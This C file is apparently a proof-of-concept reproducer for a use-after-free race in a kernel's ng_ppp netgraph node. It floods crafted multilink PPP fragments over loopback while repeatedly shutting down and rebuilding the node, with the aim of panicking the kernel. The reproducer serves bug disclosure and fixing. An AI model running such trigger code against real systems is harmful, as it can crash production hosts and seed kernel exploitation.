/*
 * DF-3481 (mode B) -- v1 ng_ppp teardown-vs-inflight-data race.
 *
 * Same root cause as the fragTimer race: v1 ng_ppp has NO serialization
 * of its private state.  ng_ppp_rmnode() (reachable via the NGM_SHUTDOWN
 * control message -- routine session teardown on PPP concentrators)
 * executes  ng_ppp_stop_frag_timer / NG_INVALID / ng_cutlinks /
 * ng_ppp_frag_reset / bzero(priv) / kfree(priv)  on the cpu0 netisr
 * thread (ngc_send -> ng_send_msg -> ng_generic_msg), while a hammer
 * thread is inside ng_ppp_rcvdata -> ng_ppp_mp_input on another CPU
 * (ksocket upcall context, synchronous with UDP loopback sendto).
 * mp_input then walks/inserts into the freed priv->frags TAILQ and
 * frag_process kmalloc/kfrees against freed memory: use-after-free
 * write into the kfree'd 2.5KB ng_ppp_private chunk.
 *
 * Loop: hammer continuously; periodically SHUTDOWN the ppp node and
 * rebuild it.  Any panic within a few attempts demonstrates the race.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netgraph/ng_message.h>
#include <netgraph/socket/ng_socket.h>
#include <netgraph/ppp/ng_ppp.h>
#include <netgraph/ksocket/ng_ksocket.h>

static int ctrl;
#define NPUMP 6
static int pumps[NPUMP];
static volatile int graph_ok;	/* hammer may send */
static u_int32_t token = 1;
static pthread_mutex_t toklock = PTHREAD_MUTEX_INITIALIZER;
static int nextport = 19100;

static void die(const char *m)
{
	fprintf(stderr, "%s: %s\n", m, strerror(errno));
	exit(1);
}

static int
ctl(const char *path, u_int32_t cookie, int cmd, const void *arg,
    size_t alen)
{
	struct sockaddr_ng sg;
	struct ng_mesg *m;
	size_t len = sizeof(*m) + (alen ? alen - 1 : 0) + 1;
	ssize_t n;
	int rc;

	pthread_mutex_lock(&toklock);
	m = calloc(1, len);
	m->header.version = NG_VERSION;
	m->header.typecookie = cookie;
	m->header.cmd = cmd;
	m->header.arglen = alen;
	m->header.token = token++;
	pthread_mutex_unlock(&toklock);
	if (alen)
		memcpy(m->data, arg, alen);
	memset(&sg, 0, sizeof(sg));
	sg.sg_len = 2 + strlen(path);
	sg.sg_family = AF_NETGRAPH;
	strlcpy(sg.sg_data, path, sizeof(sg.sg_data));
	n = sendto(ctrl, m, len, 0, (struct sockaddr *)&sg, sg.sg_len);
	free(m);
	rc = (n < 0) ? -errno : 0;
	return (rc);
}

static int bindport(const char *path)
{
	struct sockaddr_in sin;
	int rc, p;

	memset(&sin, 0, sizeof(sin));
	sin.sin_len = sizeof(sin);
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	for (p = nextport; p < nextport + 40; p++) {
		sin.sin_port = htons(p);
		rc = ctl(path, NGM_KSOCKET_COOKIE, NGM_KSOCKET_BIND,
		    &sin, sizeof(sin));
		if (rc == 0) {
			nextport = p + 1;
			return (p);
		}
		if (rc != -EADDRINUSE)
			die("ksocket bind");
	}
	die("no free port");
	return (-1);
}

static void
reconnect_pump(int port)
{
	struct sockaddr_in d;
	int i;

	for (i = 0; i < NPUMP; i++) {
		close(pumps[i]);
		pumps[i] = socket(AF_INET, SOCK_DGRAM, 0);
		memset(&d, 0, sizeof(d));
		d.sin_len = sizeof(d);
		d.sin_family = AF_INET;
		d.sin_port = htons(port);
		d.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
		if (connect(pumps[i], (struct sockaddr *)&d, sizeof(d)) < 0)
			die("pump connect");
	}
}

static int
build_bundle(void)
{
	struct ngm_mkpeer mk;
	struct ng_ppp_node_conf conf;
	char path[32];
	int rc, i, port;

	/* ppp node on our hook l0 */
	memset(&mk, 0, sizeof(mk));
	strlcpy(mk.type, "ppp", sizeof(mk.type));
	strlcpy(mk.ourhook, "l0", sizeof(mk.ourhook));
	strlcpy(mk.peerhook, "link0", sizeof(mk.peerhook));
	rc = ctl("f1:", NGM_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk));
	if (rc && rc != -EEXIST) die("mkpeer ppp");

	/* pump ksocket on link1 */
	memset(&mk, 0, sizeof(mk));
	strlcpy(mk.type, "ksocket", sizeof(mk.type));
	strlcpy(mk.ourhook, "link1", sizeof(mk.ourhook));
	strlcpy(mk.peerhook, "inet/dgram/udp", sizeof(mk.peerhook));
	rc = ctl("f1:l0", NGM_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk));
	if (rc) {
		graph_ok = 0;
		return (-1);
	}
	snprintf(path, sizeof(path), "f1:l0.link1");
	port = bindport(path);
	reconnect_pump(port);

	memset(&conf, 0, sizeof(conf));
	conf.bund.mrru = 1500;
	conf.bund.enableMultilink = 1;
	conf.bund.enableIP = 1;
	for (i = 0; i < NG_PPP_MAX_LINKS; i++) {
		conf.links[i].mru = 1600;
		conf.links[i].latency = 10;
		conf.links[i].bandwidth = 125000;
	}
	conf.links[1].enableLink = 1;
	rc = ctl("f1:l0", NGM_PPP_COOKIE, NGM_PPP_SET_CONFIG, &conf,
	    sizeof(conf));
	if (rc) {
		graph_ok = 0;
		return (-1);
	}
	graph_ok = 1;
	return (0);
}

static void *
hammer(void *arg)
{
	u_int32_t seq = 0x100;
	long n = 0;

	(void)arg;
	for (;;) {
		if (graph_ok) {
			u_char pkt[1 + 4 + 8];
			u_int32_t hdr;

			pkt[0] = 0x3d;
			hdr = htonl((seq & 0x00ffffff) | 0x80000000U |
			    ((seq & 1) ? 0x40000000U : 0));
			memcpy(pkt + 1, &hdr, 4);
			memset(pkt + 5, 0xab, sizeof(pkt) - 5);
			/* round-robin pumps: flows hash to different
			 * netisr cpus, so delivery threads differ from
			 * the cpu0 thread running the ctrl shutdown */
			send(pumps[n % NPUMP], pkt, sizeof(pkt), 0);
			seq += 1;
			n++;
		} else {
			usleep(200);
		}
	}
	return (NULL);
}

static void
toggle_multilink(int on)
{
	struct ng_ppp_node_conf conf;
	int rc, i;

	memset(&conf, 0, sizeof(conf));
	conf.bund.mrru = 1500;
	conf.bund.enableMultilink = on;
	conf.bund.enableIP = 1;
	for (i = 0; i < NG_PPP_MAX_LINKS; i++) {
		conf.links[i].mru = 1600;
		conf.links[i].latency = 10;
		conf.links[i].bandwidth = 125000;
	}
	/* ng_ppp_config_valid refuses multilink changes while links
	 * would stay active, so disable them in the same config */
	conf.links[1].enableLink = on;
	rc = ctl("f1:l0", NGM_PPP_COOKIE, NGM_PPP_SET_CONFIG,
	    &conf, sizeof(conf));
	if (rc)
		printf("setconfig(%d) rc=%d\n", on, rc);
}

int
main(int argc, char **argv)
{
	struct ngm_name nm;
	pthread_t h;
	int attempts = (argc > 1) ? atoi(argv[1]) : 200;
	int mode = (argc > 2) ? atoi(argv[2]) : 1;
	int a;

	ctrl = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
	if (ctrl < 0) die("ctrl");

	memset(&nm, 0, sizeof(nm));
	strlcpy(nm.name, "f1", sizeof(nm.name));
	(void)ctl(".", NGM_GENERIC_COOKIE, NGM_NAME, &nm, sizeof(nm));

	if (build_bundle() != 0)
		die("initial build");
	pthread_create(&h, NULL, hammer, NULL);

	printf("hammering + teardown(mode=%d) x%d\n", mode, attempts);
	fflush(stdout);
	for (a = 0; a < attempts; a++) {
		usleep(3000 + (a % 5) * 1000);
		if (mode == 1) {
			/* SET_CONFIG(multilink off): ng_ppp_update ->
			 * ng_ppp_frag_reset frees every queued fragment
			 * on the cpu0 netisr thread while the hammer's
			 * deliveries run ng_ppp_mp_input on cpuN */
			toggle_multilink(0);
			usleep(2000);
			toggle_multilink(1);
			usleep(2000);
		} else {
			ctl("f1:l0", NGM_GENERIC_COOKIE, NGM_SHUTDOWN,
			    NULL, 0);
			usleep(20000);
			graph_ok = 0;
			usleep(20000);
			if (build_bundle() != 0) {
				printf("rebuild %d failed\n", a);
				break;
			}
		}
		if ((a % 20) == 19) {
			printf("attempt %d alive\n", a + 1);
			fflush(stdout);
		}
	}
	printf("done %d attempts, no panic\n", attempts);
	return (0);
}
